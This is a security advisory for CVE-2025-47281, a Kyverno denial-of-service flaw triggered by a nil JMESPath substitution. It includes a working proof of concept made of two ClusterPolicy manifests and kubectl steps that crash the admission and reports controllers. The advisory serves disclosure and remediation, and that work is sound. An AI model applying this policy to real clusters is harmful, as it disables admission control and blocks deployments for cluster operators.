Skip to content

GHSA-r5p3-955p-5ggq BIT-kyverno-2025-47281 CVE-2025-47281 GO-2025-3823

Kyverno's Improper JMESPath Variable Evaluation Lead to Denial of Service

High Go
Severity
7.7 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.56%
Chance of exploitation in the next 30 days. Higher than 46.30% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-248 Uncaught Exception
Fix
1.14.2
Upgrade github.com/kyverno/kyverno to this version or later

Description

Summary

A Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function (e.g., {{@ | non_existent_function }}).

This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, results in a panic due to a type assertion failure (interface {} is nil, not string). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability."

Details

The vulnerability lies in the getValueAsStringMap function within pkg/engine/wildcards/wildcards.go (specifically around line 138):

func getValueAsStringMap(key string, data interface{}) (string, map[string]string) {
    // ...
    valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value
    // ...
    for k, v := range valMap { // If valMap contains a key whose value is nil...
        result[k] = v.(string) // PANIC: v.(string) on a nil interface{}
    }
    return patternKey, result
}

When a policy contains a variable like {{@ | foo}} (where foo is not a defined JMESPath function), the JMESPath evaluation within Kyverno's variable substitution logic results in a nil value. This nil is then assigned to the corresponding field in the policy pattern (e.g., a label value).

During policy processing, ExpandInMetadata calls expandWildcardsInTag, which in turn calls getValueAsStringMap. If the data argument to getValueAsStringMap (derived from the policy pattern) contains this nil value where a string is expected, the type assertion v.(string) panics when v is nil.

Proof of Concept (PoC)

This proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is Audit. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.

In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.

Tested on Kyverno v1.14.1.

  1. Prerequisites: Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update ClusterPolicy or Policy resources.

  2. Create a Malicious Policy: Apply the following ClusterPolicy:

    apiVersion: kyverno.io/v1
    kind: ClusterPolicy
    metadata:
        name: dos-via-jmespath-nil
    spec:
        rules:
        - name: trigger-nil-panic
          match:
            any:
            - resources:
                kinds:
                - Pod
          validate:
              message: "DoS attempt via JMESPath nil substitution"
              pattern:
                metadata:
                  labels:
                    # '{{@ | non_existent_function}}' will result in a nil value for this label.
                    # This nil value causes a panic in getValueAsStringMap.
                    trigger_panic: "{{@ | non_existent_function}}"
    
  3. Verify the policy status: Make sure the policy is ready.

    k get clusterpolicy dos-via-jmespath-nil
    NAME                   ADMISSION   BACKGROUND   READY   AGE   MESSAGE
    dos-via-jmespath-nil   true        true         True    24m   Ready
    
  4. Trigger the Policy: Create any Pod in any namespace (if not further restricted by match or exclude):

    kubectl run test-pod-dos --image=nginx
    
  5. Observe Crashes:

  6. Reset: Delete the existing policy with kubectl delete clusterpolicy dos-via-jmespath-nil and delete the test pod with kubectl delete pod test-pod-dos. Then apply the following:

     apiVersion: kyverno.io/v1
     kind: ClusterPolicy
     metadata:
         name: dos-via-jmespath-nil-enforce
     spec:
         validationFailureAction: Enforce # This has changed
         rules:
         - name: trigger-nil-panic
           match:
             any:
             - resources:
                 kinds:
                 - Pod
           validate:
               message: "DoS attempt via JMESPath nil substitution"
               pattern:
                 metadata:
                   labels:
                     # '{{@ | non_existent_function}}' will result in a nil value for this label.
                     # This nil value causes a panic in getValueAsStringMap.
                     trigger_panic: "{{@ | non_existent_function}}"
    
  7. Trigger the Policy (again): Create any Pod in any namespace (if not further restricted by match or exclude):

    kubectl run test-pod-dos --image=nginx
    

    The command returns the following error:

    Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF
    
  8. Observe Crashes:

    • Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.
    • Check Kyverno reports controller logs; the pod crashes and restarts.

Impact

This is a Denial of Service (DoS) vulnerability.

  • Affected Components:

    • Kyverno Admission Controller: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.
    • Kyverno Reports Controller: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.
  • Conditions: An attacker needs permissions to create or update Kyverno Policy or ClusterPolicy resources. This is often a privileged operation but may be delegated in some environments.

  • Consequences: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility.

Mitigation

  • Add robust nil handling in getValueAsStringMap.
  • Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in nil values.

Affected versions

Go

PackageVulnerableFixed in
github.com/kyverno/kyverno
< 1.14.2
1.14.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/kyverno/kyverno Go → 1.14.2

go
go get github.com/kyverno/kyverno@v1.14.2 && go mod tidy

Severity breakdown

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-248: Uncaught Exception

An exception is thrown from a function, but it is not caught.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-79gf-7frw-68m9
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
Critical Also affects github.com/kyverno/kyverno
GHSA-fpjq-c37h-cqcv
Kyverno Controller Denial of Service via forEach Mutation Panic
High Also affects github.com/kyverno/kyverno
GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
High Also affects github.com/kyverno/kyverno
GHSA-f9g8-6ppc-pqq4
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
Critical Also affects github.com/kyverno/kyverno
GHSA-cvq5-hhx3-f99p
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
High Also affects github.com/kyverno/kyverno
GHSA-q93q-v844-jrqp
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
High Also affects github.com/kyverno/kyverno
GHSA-fmqp-4wfc-w3v7
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Medium Also affects github.com/kyverno/kyverno
GHSA-qr4g-8hrp-c4rw
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
High Also affects github.com/kyverno/kyverno
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor